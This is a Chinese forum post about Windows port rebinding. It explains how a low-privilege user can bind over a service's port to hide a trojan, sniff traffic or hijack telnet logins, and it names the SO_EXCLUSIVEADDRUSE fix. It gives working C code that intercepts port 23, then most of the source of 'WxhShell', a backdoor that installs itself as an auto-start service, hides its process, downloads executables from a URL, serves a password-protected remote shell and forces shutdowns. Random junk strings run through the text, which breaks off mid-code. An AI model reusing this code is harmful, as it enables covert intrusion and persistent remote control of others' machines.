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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M ~uX!bDH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P t)Ni  
8>KBh)q  
  saddr.sin_family = AF_INET; "yo~;[  
(r]3tGp  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _K#LOSMfj/  
:nPLQqXGQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pg4J)<t#  
X^!1MpEQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {#]vvO2~$  
,8vqzI  
  这意味着什么?意味着可以进行如下的攻击: r{Cbx#;  
H1bPNt63  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @0 mR_\u\  
c2aW4 TX2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !4blX'<w  
i3s,C;7[2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L#|, _j=9  
yl#(jb[?1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5^}"Tn4I  
Z|h&Zd1z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =mq02C~y  
e9 `n@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Uo7V)I;o  
h ?Ni5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3,QsB<9Is  
9\aR{e,1  
  #include QS*!3? %  
  #include O6[,K1,  
  #include yHka7D  
  #include    FuKp`T-H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9~En;e  
  int main() !}TZmwf'  
  { Y~j )B\^{  
  WORD wVersionRequested; '^!1AGF  
  DWORD ret; a IA9rn  
  WSADATA wsaData; eVVm"96Q.;  
  BOOL val; xXJl Qbs  
  SOCKADDR_IN saddr; PZDj)x_%B&  
  SOCKADDR_IN scaddr; *&m{)cTs  
  int err; '|9fDzW"]  
  SOCKET s; rerl-T<3  
  SOCKET sc; (q@DBb4  
  int caddsize; <DM /"^*  
  HANDLE mt; OjUZ-_J  
  DWORD tid;   &f:"p*=a\  
  wVersionRequested = MAKEWORD( 2, 2 ); '4L0=G:A<q  
  err = WSAStartup( wVersionRequested, &wsaData ); Rqk;!N  
  if ( err != 0 ) { S S/9fT"[  
  printf("error!WSAStartup failed!\n"); )Hp{8c  
  return -1; 6^Q Bol  
  } _"Bh 3 7  
  saddr.sin_family = AF_INET; TCC([  
   O=9mLI6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =Z($n: m=*  
+ \DGS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _9^  
  saddr.sin_port = htons(23); 3V,$FS]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4}4K6y<q  
  { h]DS$WZ  
  printf("error!socket failed!\n"); 3%g\)Cs  
  return -1; R43yr+p  
  } ^hpdre"  
  val = TRUE; aQzu[N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?3x7_=4t@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }AZ0BI,TI  
  { N<e=!LV  
  printf("error!setsockopt failed!\n"); Ed(6%kd  
  return -1; Y\Z.E ;  
  } W[dK{?RB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uh][qMyLM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^ RS?y8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6eUM[C.  
F@76V$U.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E>bK-jG  
  { bpQ5B'9  
  ret=GetLastError(); r&u&$ "c  
  printf("error!bind failed!\n"); }bW"Z2^nB  
  return -1;  2]$ 7  
  } Jj_ t0"  
  listen(s,2); O,&nCxB]  
  while(1) H\zV/1~Y  
  { .%.bIT  
  caddsize = sizeof(scaddr); V*uoGWL]+  
  //接受连接请求 l;N?*2zm[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?gp:uxq,.  
  if(sc!=INVALID_SOCKET) * [\H)Lz  
  { 0""t`y&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ot"3 3I  
  if(mt==NULL) 6@"lIKeP  
  { N3_rqRd^  
  printf("Thread Creat Failed!\n"); ]dx6E6A,  
  break; OwdA6it^f  
  } B.e3IM0  
  } 3C+!Y#F  
  CloseHandle(mt); qqmhh_[T  
  } G,VTFM6  
  closesocket(s); J FYV@%1~  
  WSACleanup(); iiWs]5  
  return 0; MDHTZ9 4\Q  
  }   j~|pSu.<  
  DWORD WINAPI ClientThread(LPVOID lpParam) |KV|x ^fJ  
  { o@&Hc bN^  
  SOCKET ss = (SOCKET)lpParam; 5#DtaVz  
  SOCKET sc; w?r   
  unsigned char buf[4096]; D4@'C4kL  
  SOCKADDR_IN saddr; ~^&]8~m*d  
  long num; jp~C''Sj  
  DWORD val; #s4v0auK  
  DWORD ret; /$q9 Kxb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (}]ae*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :y>$N(.8f  
  saddr.sin_family = AF_INET; z1-JoZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); TqvgCk-  
  saddr.sin_port = htons(23); f1hjU~nJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e^N6h3WF  
  { _'W en  
  printf("error!socket failed!\n"); Rxg ^vM*  
  return -1; Pjs L{,  
  } :`pgdn  
  val = 100; _iJ8*v 8A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6X2~30pdE  
  { Lrr1) h  
  ret = GetLastError(); %ut^ O  
  return -1; NZP>aV-  
  } ^}F@*A;o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c" |4'#S  
  { 1<Z~Gw4  
  ret = GetLastError(); }JF,:g Lk  
  return -1; ?hz9]I/8  
  } #@i1jZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gcaXN6C  
  { ckglDhC  
  printf("error!socket connect failed!\n"); )L,.K O  
  closesocket(sc); 5._=m"Pl  
  closesocket(ss); Za*QX|  
  return -1; >+9f{FP 9  
  } Tlz $LI  
  while(1) T6P9Icv?@7  
  { \Q CH.~]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -naj.omG|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _o'3v=5T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'Q^P#<<  
  num = recv(ss,buf,4096,0); THFzC/~Q  
  if(num>0) _&U5 u  
  send(sc,buf,num,0); Po~u-5  
  else if(num==0) p+t79F.js  
  break; P B W.nm  
  num = recv(sc,buf,4096,0); 2tEA8F~k  
  if(num>0) UC u4S >  
  send(ss,buf,num,0); Fz3QSr7FU  
  else if(num==0) cAL*Md8+  
  break; zv Dg1p  
  } K|OowM4tv  
  closesocket(ss); Sh]g]xR  
  closesocket(sc); NV[_XXTv7  
  return 0 ; , :10  
  } {m<NPtp910  
"G(^v?x:P  
3 zF"GT  
========================================================== ? >\JX  
A3!xYG=+  
下边附上一个代码,,WXhSHELL :epjJ1mW  
9rCvnP=  
========================================================== jP{W|9@ (  
@S-p[u  
#include "stdafx.h" _6"YWR  
-f4>4@y  
#include <stdio.h> t$*V*gK{  
#include <string.h> hPM:=@ N$  
#include <windows.h> ff1Em.  
#include <winsock2.h> )(aj  
#include <winsvc.h> Zl:Z31  
#include <urlmon.h> }gfs  
~@v<B I  
#pragma comment (lib, "Ws2_32.lib") ?)60JWOJ1  
#pragma comment (lib, "urlmon.lib") MgP6ki1z  
nVK`H@5fw  
#define MAX_USER   100 // 最大客户端连接数 t!u{sr{j=  
#define BUF_SOCK   200 // sock buffer nJ ZQRRa:C  
#define KEY_BUFF   255 // 输入 buffer ? eU=xO  
gmU0/z3&  
#define REBOOT     0   // 重启 6{qI  
#define SHUTDOWN   1   // 关机 :We}l;.jQ  
Wl4T}j  
#define DEF_PORT   5000 // 监听端口 c^$+=-G{fd  
(I) e-1  
#define REG_LEN     16   // 注册表键长度 PN +<C7/  
#define SVC_LEN     80   // NT服务名长度 fV\ eksBF  
L, k\`9bQ  
// 从dll定义API gLH#UwfJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qXb{A*J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HoFFce7o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  =Y0>b4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .ZB/!WiF  
(t{m(;/  
// wxhshell配置信息 )Q!3p={S*  
struct WSCFG { 4ZRE3^y\"  
  int ws_port;         // 监听端口 .&Vy o<9Ck  
  char ws_passstr[REG_LEN]; // 口令 #hNp1y2  
  int ws_autoins;       // 安装标记, 1=yes 0=no tSZd0G<A<o  
  char ws_regname[REG_LEN]; // 注册表键名 5GwXZ;(G  
  char ws_svcname[REG_LEN]; // 服务名 N?7vcN+-t)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X53TFRxnT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $_5@ NOZ,M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HLP nbI-+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JLZ[sWP='  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~I+}u]J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q,W6wM;,E  
*>ilT5q  
}; w^.^XK4v.  
dV5aIj  
// default Wxhshell configuration S!u`V3-s  
struct WSCFG wscfg={DEF_PORT, Ky qFeR  
    "xuhuanlingzhe", +&T;jad2  
    1, EK-Qa<[|  
    "Wxhshell", W/U_:^[-  
    "Wxhshell", +Y:L4`  
            "WxhShell Service", d+6 by,'  
    "Wrsky Windows CmdShell Service", $c WO`\XM  
    "Please Input Your Password: ", gEE6O%]g  
  1, e-taBrl;  
  "http://www.wrsky.com/wxhshell.exe", kH)JBx.  
  "Wxhshell.exe" GmA5E  
    }; ,sM>{NK 9R  
,w+}Evp])  
// 消息定义模块 $p} /&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HfF4BQxm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #*g.hL<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  `#m>3  
char *msg_ws_ext="\n\rExit."; zeXMi:X  
char *msg_ws_end="\n\rQuit."; )ny,vcU]  
char *msg_ws_boot="\n\rReboot..."; Rj/9\F3H  
char *msg_ws_poff="\n\rShutdown..."; T}?vp~./   
char *msg_ws_down="\n\rSave to "; V?k"BU  
OZw<YR  
char *msg_ws_err="\n\rErr!"; 7\q_^  
char *msg_ws_ok="\n\rOK!"; s 4Mi9h_  
05|,-S  
char ExeFile[MAX_PATH]; =h083|y>  
int nUser = 0; 'pUJlPGx  
HANDLE handles[MAX_USER]; aWLeyXsAu  
int OsIsNt; WF6'mg^^?  
sF/X#GG-  
SERVICE_STATUS       serviceStatus; GisI/Ir[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /R_*u4}iD  
*L%i-Wg"  
// 函数声明 B>^5h?(lt  
int Install(void); +18)e;   
int Uninstall(void); Y'.WO[dgf  
int DownloadFile(char *sURL, SOCKET wsh); K{ s=k/h  
int Boot(int flag); bi fi02  
void HideProc(void); G]Jchg <  
int GetOsVer(void); 8\M%\]_  
int Wxhshell(SOCKET wsl); ~)S Q{eK?&  
void TalkWithClient(void *cs); pearf2F  
int CmdShell(SOCKET sock); H3#xBn>9  
int StartFromService(void); >};6>)0  
int StartWxhshell(LPSTR lpCmdLine); yqg&dq  
No\H QQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [N|/d#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I82?sQ7  
"4{_amgm&<  
// 数据结构和表定义 F4m Q#YlrS  
SERVICE_TABLE_ENTRY DispatchTable[] = LNp%]*h  
{ %^L :K5V  
{wscfg.ws_svcname, NTServiceMain}, ,|: a7b]  
{NULL, NULL} sFEkxZi<  
}; /mB'Fn6)  
a{lDHk`Wf  
// 自我安装 }T?MWcG4  
int Install(void) XsldbN^ 6  
{ _{EO9s2FG  
  char svExeFile[MAX_PATH]; ez2 gy"  
  HKEY key; seFug  
  strcpy(svExeFile,ExeFile); 5(/ 5$u   
;%1ob f 89  
// 如果是win9x系统,修改注册表设为自启动 BO5gwvyI  
if(!OsIsNt) { @-z#vJ5Qe{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AUloP?24  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 728}K^7:  
  RegCloseKey(key); iA~b[20&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { imx/hz!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eQk ~YA]K  
  RegCloseKey(key); fwy-M:  
  return 0; ~&/|J)}  
    } 26fm }QV  
  } Fr%LV#Q  
} CI+dIv>  
else { w8t,?dY  
4>4*4!KR}  
// 如果是NT以上系统,安装为系统服务 v-85` h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jafq(t  
if (schSCManager!=0) VV(>e@Bc4  
{ 9o.WJ   
  SC_HANDLE schService = CreateService n6gYZd  
  ( S7Xr~5>X  
  schSCManager, J&{qe@^  
  wscfg.ws_svcname, \C3ir&  
  wscfg.ws_svcdisp, ?VMj;+'tr  
  SERVICE_ALL_ACCESS, U~8.uldnF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XpzdvR1  
  SERVICE_AUTO_START, w;.'>ORC  
  SERVICE_ERROR_NORMAL, ZQvpkO7}M  
  svExeFile, 8#%p[TLj  
  NULL, $+IE`(Ckf  
  NULL, z8 bDBoD6  
  NULL, l`2X'sw[/  
  NULL, I/bED~Z:a  
  NULL 9=&e5Oq}  
  ); 5/Ng!bW  
  if (schService!=0) BoB2q(  
  { L~1u?-zu  
  CloseServiceHandle(schService); >4a@rT/  
  CloseServiceHandle(schSCManager); .>0e?A4,5?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "(}xIsy  
  strcat(svExeFile,wscfg.ws_svcname); y2V9!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $]CZ]EWts  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XD`QU m  
  RegCloseKey(key); 4BG6C'`%  
  return 0; L<>;E  
    } tb7Wr1$<  
  } c=l 3Sz?  
  CloseServiceHandle(schSCManager); (Rvke!"B  
} Wh%qvV6]  
} W[o~AbU  
a z 7Vy-  
return 1; UXvk5t1  
} 09"C&X~  
e{/(NtKf  
// 自我卸载 p.q :vI$J  
int Uninstall(void) eI?<*  
{ ^*C+^l&J!  
  HKEY key; b .k J&c  
65VnH=  
if(!OsIsNt) { *LeFI%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c/ wzV  
  RegDeleteValue(key,wscfg.ws_regname); >Dpz0v  
  RegCloseKey(key); A)En25,X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]RmQ*F-  
  RegDeleteValue(key,wscfg.ws_regname); -6MgC9]  
  RegCloseKey(key); 4-[L^1%S[  
  return 0; ?7@Y=7BS4  
  } @EzSosmF  
} ]Ff"o7gT  
} (LPMEQhI:  
else { vq *N  
\)VV6'zih  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p_Fc:%j>  
if (schSCManager!=0) 2O {@W +Mt  
{ @FL?,_,Y{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XOO!jnQu  
  if (schService!=0) vm)&WEL!  
  { |XxA Fje  
  if(DeleteService(schService)!=0) { ]#N2:ych  
  CloseServiceHandle(schService); ~$>l@> xX  
  CloseServiceHandle(schSCManager); 9^J8V]X  
  return 0; nBL7LocvR  
  } ~C< X~$y&  
  CloseServiceHandle(schService); WO$PW`k  
  } @L^2VVWk^  
  CloseServiceHandle(schSCManager); ^Sx 0t  
} < pI2}  
} m;{_%oQ;  
&R/)#NAp  
return 1; \`o+Le+%  
} Rd;k>e  
R8UtX9'*sa  
// 从指定url下载文件 <3z]d?u  
int DownloadFile(char *sURL, SOCKET wsh) AJSe +1  
{ 3 q  
  HRESULT hr; .ps'{rl8  
char seps[]= "/"; +ex@[grsGT  
char *token; Mn$TWhg'  
char *file; aQwcPy|1R  
char myURL[MAX_PATH]; ?b2  
char myFILE[MAX_PATH]; F ^Rt 6Io  
>/1N#S#9  
strcpy(myURL,sURL); %\=5,9A\  
  token=strtok(myURL,seps); 8Cz_LyL  
  while(token!=NULL) xh[Mmq/R  
  { HDYr?t~V  
    file=token; CfQOG7e@  
  token=strtok(NULL,seps); ./mh 9ax  
  } bT}P":*y  
zu<b#Wv  
GetCurrentDirectory(MAX_PATH,myFILE); bCg {z b#  
strcat(myFILE, "\\"); z71.5n!C  
strcat(myFILE, file); `?{QCBVj  
  send(wsh,myFILE,strlen(myFILE),0); (E59)z -  
send(wsh,"...",3,0); y%k\=:m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); = ^:TW%O  
  if(hr==S_OK) [=9-AG~}  
return 0; j[gX"PdQ  
else lDO9GNz$  
return 1; #_y#sDfzh  
[wP;g'F  
} cBM A.'uIL  
8I04Nx  
// 系统电源模块 +ZtqR  
int Boot(int flag) n(,b$_JK7  
{ V0z.w:-  
  HANDLE hToken; G>&=rmK"  
  TOKEN_PRIVILEGES tkp; pj&vnX6O^  
k_#ra7zP  
  if(OsIsNt) { fLL_{o0T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {<iIL3\mC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jDI O,XuF  
    tkp.PrivilegeCount = 1; [Rw0']i`4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  Ek(. ["  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FGu:8`c9  
if(flag==REBOOT) { $n& alcU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jf@M>BT^A  
  return 0; Z+)R%Z'aL  
} y7dnXO!g9-  
else { 2 ]5dSXD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [jve |-v=  
  return 0; w-};\]I  
} YvE$fX=  
  } 2Ch!LS:+  
  else { k'}}eu/ q  
if(flag==REBOOT) { h<\o[n7j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6UR.,*f=  
  return 0; !YSAQi;I  
} NqvL,~1G  
else { ~PP*k QZlJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RVy8%[Gcq  
  return 0; $-YS\R\9x  
} +Sv`23G@  
} P!:Y<p{=>  
`%p}.X  
return 1; _H>ABo  
} L B1 ui  
RS!~5nk5  
// win9x进程隐藏模块 #>GUfhou)  
void HideProc(void) N,V %/O{Y  
{ :X Er{X  
xz[a3In+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PmyS6a@  
  if ( hKernel != NULL ) ]h~=lItTRZ  
  { YUJlQ2e(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {co(w 7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x0@J~ _0  
    FreeLibrary(hKernel); (p26TN;*$5  
  } %h 6?/  
)Xg,;^  
return; H>_ FCV8  
} p{xO+Nx1a  
*,{. oO9#  
// 获取操作系统版本 ;H /*%2  
int GetOsVer(void) 2+ F34  
{ z"bgtlfb8  
  OSVERSIONINFO winfo; ,Y=r] fk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KG6ki_  
  GetVersionEx(&winfo); ,.uu/qV}w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RzQ1Wq  
  return 1; 55MsF}p  
  else 8:0QIkqk  
  return 0; 3]WIN_h  
} =_I2ek  
%/b?T]{  
// 客户端句柄模块 frbKi _1  
int Wxhshell(SOCKET wsl) hNmC(saMGm  
{ &}@U#w]l  
  SOCKET wsh; R<{bb'  
  struct sockaddr_in client; |4aV~n[>#  
  DWORD myID; f!a[+^RB:  
Q ,30  
  while(nUser<MAX_USER) SdBv?`u|g  
{ D oX!P|*  
  int nSize=sizeof(client); yjvzA|(YC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6 /gh_'&  
  if(wsh==INVALID_SOCKET) return 1; ]]`hnzJX  
&Z/aM?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !}|n3wQ  
if(handles[nUser]==0) xCF k1%qf  
  closesocket(wsh); R}c,ahd  
else DvHcT] l>5  
  nUser++; ^;@q^b)ZP  
  } m]} E0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Or= [2@Wg  
!ccKbw)J#  
  return 0; Re-~C[zwT  
} SkBa- *MC  
*T$o" *}  
// 关闭 socket ,@jRe&6  
void CloseIt(SOCKET wsh) /R^Moj<  
{ 0?  (  
closesocket(wsh); wx n D3  
nUser--; ^5j|   
ExitThread(0); mv|eEz)r  
} u@5vK2  
/:d03N\9k  
// 客户端请求句柄 _}R?&yO  
void TalkWithClient(void *cs) U*`7   
{ (g xCP3  
I1yZ7QY  
  SOCKET wsh=(SOCKET)cs;  }tv%  
  char pwd[SVC_LEN]; 0'*whhH  
  char cmd[KEY_BUFF]; ]4-lrI1#  
char chr[1]; ."Wdpf`~  
int i,j; ]\w0u7}  
xr+K: bw  
  while (nUser < MAX_USER) { |E-/b6G  
} NW^?37  
if(wscfg.ws_passstr) { NH$%g\GPs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <h:>:%#k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z=:<]j#=  
  //ZeroMemory(pwd,KEY_BUFF); -jnx0{/  
      i=0; |ybW  
  while(i<SVC_LEN) { n#t{3qzpD  
4V9DPBh  
  // 设置超时 WL$Ee=  
  fd_set FdRead; By(:%=.  
  struct timeval TimeOut; a5ZU"6Hi  
  FD_ZERO(&FdRead); @-nCK Yj  
  FD_SET(wsh,&FdRead);  98eiYh  
  TimeOut.tv_sec=8; 8 P85qa@w  
  TimeOut.tv_usec=0; EM!#FJh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h~haA8i?{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eWzD'3h^  
H7n5k,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eKi/Mt  
  pwd=chr[0]; yG|^-O}L  
  if(chr[0]==0xd || chr[0]==0xa) { 5!u.w  
  pwd=0; ?nJ7lLQA  
  break; ;cd{+0  
  } Yn4c6K  
  i++; < .&t'W  
    } [` ~YPUR*  
sG`||Kb;n  
  // 如果是非法用户,关闭 socket  /B)ZB})z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H6(kxpOI\  
} oV utHt  
gXN#<g,:^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]Aap4+s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E;$)Oz  
>y)(M(o  
while(1) { Ug02G  
e\x=4i  
  ZeroMemory(cmd,KEY_BUFF); <6^MVaD  
}MAQhXI^O|  
      // 自动支持客户端 telnet标准   ufAp 7m@ud  
  j=0; =<w6yeko  
  while(j<KEY_BUFF) { d!kiWmw,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6, \i0y5n  
  cmd[j]=chr[0]; jV Yt=j*"V  
  if(chr[0]==0xa || chr[0]==0xd) { +^tq?PfE  
  cmd[j]=0; YY-{&+,  
  break; nD6mLNi%a  
  } XzI c<81Z  
  j++; l<5O\?Vo]  
    } %Z~, F?  
cnr&%-  
  // 下载文件 YfL|FsCh  
  if(strstr(cmd,"http://")) { OE)n4X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `3+yu' Q'  
  if(DownloadFile(cmd,wsh)) G0Zq:kJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #k2&2W=x  
  else j~,7JJ (y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s\QhCS  
  } RK?b/9y  
  else { P\ \4 w)C  
2`>/y  
    switch(cmd[0]) { TY~8`+bJ  
  TxAT ))  
  // 帮助 &os9K)  
  case '?': { 9 2_F8y*D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); # D"TY-$.=  
    break; <"w;:Zs  
  } V\^rs41$;  
  // 安装 /.<%y 8v  
  case 'i': { XH4!|wz  
    if(Install()) =g4^tIYq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }M?\BH&  
    else N^7Qn*qt[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2|]$hjs  
    break; -y]\;pbZ0  
    } N %N %  
  // 卸载 f!hQ"1[  
  case 'r': { L6`(YX.:  
    if(Uninstall()) Eyi^N0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `s#0/t  
    else jn vJ`7zFP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :e>y= s>  
    break; 3 EH/6  
    } tdSy&]P  
  // 显示 wxhshell 所在路径 H_)\:gTG  
  case 'p': { m[ *)sm  
    char svExeFile[MAX_PATH];  jL8[;*^G  
    strcpy(svExeFile,"\n\r"); nIdB,  
      strcat(svExeFile,ExeFile); V5sH:A7GJ  
        send(wsh,svExeFile,strlen(svExeFile),0); hJY= )  
    break; :l>&5w;  
    } %UZ_wsY\  
  // 重启  z}\TS.  
  case 'b': { ?"f\"N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yqz(@( %  
    if(Boot(REBOOT)) ({ 'I;]AQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qN((Xz+AZE  
    else { .),ql_sXr  
    closesocket(wsh); 19-|.9m(  
    ExitThread(0); (|%YyRaX  
    } = Q|_v}  
    break; u&Q2/Y  
    } ol]"r5#Q_H  
  // 关机 v`3q0,,  
  case 'd': { %^){Z,}M}  
